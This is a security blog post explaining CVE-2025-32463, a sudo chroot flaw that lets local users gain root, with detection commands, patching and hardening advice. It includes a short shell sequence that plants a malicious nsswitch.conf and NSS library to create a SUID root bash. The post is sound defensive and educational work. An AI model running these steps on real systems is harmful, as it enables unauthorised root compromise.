Home / Blog / CVE-2025-32463 Sudo Privilege Escalation
CVE-2025-32463 • CVE-2025-32462

Sudo Chroot Bug: Any Local User
to Root on Linux

July 2025 10 min read By Boney Warikozi
CVSS 9.3 High Privilege Escalation Linux Actively Exploited CISA KEV
⚠ CISA KEV — Patch Required

CISA has confirmed active exploitation of CVE-2025-32463 and added it to the Known Exploited Vulnerabilities catalog. Systems running sudo 1.9.14 through 1.9.17 are vulnerable. Update to sudo 1.9.17p1 immediately. Legacy versions below 1.9.14 are not vulnerable.

Overview

Sudo — the most fundamental privilege escalation tool on Unix/Linux systems — has had a critical local privilege escalation vulnerability hiding in its codebase since version 1.9.14. Designated CVE-2025-32463, this flaw in sudo's -R (chroot) feature allows a local user with no sudo privileges to escalate to full root access by tricking sudo into loading an attacker-controlled NSS (Name Service Switch) shared library.

While this is a local privilege escalation (not remote), it is exceptionally dangerous in post-exploitation scenarios: any attacker who has obtained a low-privileged shell on a vulnerable Linux system — through phishing, a web shell, a misconfigured service, or any other vector — can immediately escalate to root.

Background: sudo's chroot Feature

The sudo -R <dir> (or sudo --chroot <dir>) option was introduced in sudo 1.9.14. It was intended to allow administrators to run commands inside a specified chroot directory while still consulting the sudoers policy. The flaw lies in the order of operations: sudo evaluates NSS (used for user/group lookups) after setting up the chroot environment, meaning it resolves NSS configuration from within the user-supplied chroot directory.

Technical Details

Root Cause Analysis

When a user specifies a chroot directory with sudo -R /path/to/dir, sudo v1.9.14+ calls chroot() to the user-specified directory before fully evaluating the sudoers policy. At this point, sudo reads /etc/nsswitch.conf — but because the chroot has already been applied, it reads the attacker's /path/to/dir/etc/nsswitch.conf.

By crafting a malicious nsswitch.conf inside the chroot that points to an attacker-controlled shared library, the attacker causes sudo to dlopen() and execute their library code as root, since sudo is a setuid binary.

Attack Setup (Conceptual)
# 1. Create attacker-controlled chroot directory
mkdir -p /tmp/evil_chroot/etc
mkdir -p /tmp/evil_chroot/lib

# 2. Craft malicious nsswitch.conf pointing to evil NSS module
echo "passwd: files evil" > /tmp/evil_chroot/etc/nsswitch.conf

# 3. Compile evil NSS shared library with constructor that runs as root
# libnss_evil.so constructor: system("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
gcc -shared -fPIC -nostartfiles evil_nss.c -o /tmp/evil_chroot/lib/libnss_evil.so.2

# 4. Trigger — sudo loads attacker NSS module AS ROOT
sudo -R /tmp/evil_chroot /bin/true

# 5. Execute SUID root shell
/tmp/rootbash -p
# whoami: root

Exploitation Conditions

For CVE-2025-32463 to be exploitable, the following conditions must be met:

  • The system runs sudo version 1.9.14 through 1.9.17
  • The attacker has any local user account (even without sudo NOPASSWD permissions)
  • NSS lookups are performed via /etc/nsswitch.conf (standard on virtually all Linux distributions)
⚠ Why This Is Critical Despite Being "Local"

Post-exploitation chains commonly rely on local privilege escalation. An attacker who gains initial access via a web application vulnerability, phishing, or a misconfigured cloud service can immediately chain this flaw to achieve full root access, enabling complete system compromise, persistence, and lateral movement.

Affected Systems

Any Linux or Unix-like system running sudo 1.9.14 through 1.9.17 (inclusive) is vulnerable. This covers several major distributions during this period:

  • Ubuntu 22.04 LTS and later (with updated sudo packages)
  • Debian 12 (Bookworm) and testing
  • Fedora / RHEL / Rocky Linux with sudo 1.9.14+
  • Arch Linux and rolling-release distributions
  • Any system that updated sudo to the affected range without immediately applying the fix

Not affected: Systems running sudo ≤ 1.9.13 (chroot feature not yet present) or sudo ≥ 1.9.17p1 (patched).

Detection

Check Your sudo Version
# Check installed sudo version
sudo --version
# Vulnerable if: 1.9.14 <= version <= 1.9.17

dpkg -l sudo # Debian/Ubuntu
rpm -qi sudo # RHEL/Fedora
pacman -Qi sudo # Arch Linux

# Check for exploitation attempts in auth logs
grep "sudo -R\|sudo --chroot" /var/log/auth.log
grep "COMMAND.*-R\|COMMAND.*chroot" /var/log/secure

Behavioral Detection in EDR / SIEM

Hunt for the following suspicious patterns that may indicate exploitation attempts:

  • Sudo processes spawning from unusual parent processes (web servers, PHP-FPM, etc.)
  • sudo invocations containing -R or --chroot flags from non-admin users
  • New SUID binaries appearing in /tmp/ or world-writable directories
  • dlopen() calls from sudo to paths outside of /usr/lib/ or /lib/
  • Unexpected nsswitch.conf files in non-standard directories

Remediation

✓ Patch: Update to sudo 1.9.17p1
  • Ubuntu/Debian: apt update && apt upgrade sudo
  • RHEL/Fedora: dnf update sudo
  • Arch Linux: pacman -Syu sudo
  • Verify fix: sudo --version should show 1.9.17p1 or higher
⚠ Hardening Measures (Defense in Depth)
  • Principle of Least Privilege: Audit your sudoers file — remove permissions that are not strictly necessary
  • Restrict sudo chroot usage: Add Defaults !chroot to /etc/sudoers to disable the chroot feature entirely if it's not needed
  • Monitor sudo activity: Enable sudo audit logging and alert on anomalous invocations
  • Deploy AppArmor/SELinux profiles: Restrict sudo's ability to load shared libraries from non-standard paths

Zero Trust and Least Privilege

CVE-2025-32463 underscores the foundational Zero Trust principle of least privilege. In traditional environments, the implicit assumption is that local users are relatively trusted — after all, they already have a shell. Zero Trust challenges this assumption at every layer.

A well-hardened Zero Trust endpoint would:

  • Not permit any user to run sudo unless strictly necessary, with specific commands allowlisted
  • Use immutable infrastructure where systems are ephemeral and replaced rather than patched in place
  • Employ runtime security tools (like Falco or EDR agents) that detect and block anomalous privilege escalation attempts in real time
  • Enforce mandatory access control (SELinux / AppArmor) that limits sudo's capabilities even when vulnerabilities exist

Conclusion

CVE-2025-32463 is a stark reminder that even the most trusted, ubiquitous tools in the Unix ecosystem can harbor critical vulnerabilities. A feature introduced in sudo 1.9.14 — intended to enhance administrative flexibility — inadvertently created a complete local privilege escalation path for any user on affected systems.

The fix is straightforward: update sudo to 1.9.17p1. But the broader lesson is about defense in depth — no single tool should be trusted implicitly. Monitor your systems, apply patches promptly, and enforce least privilege everywhere.

// References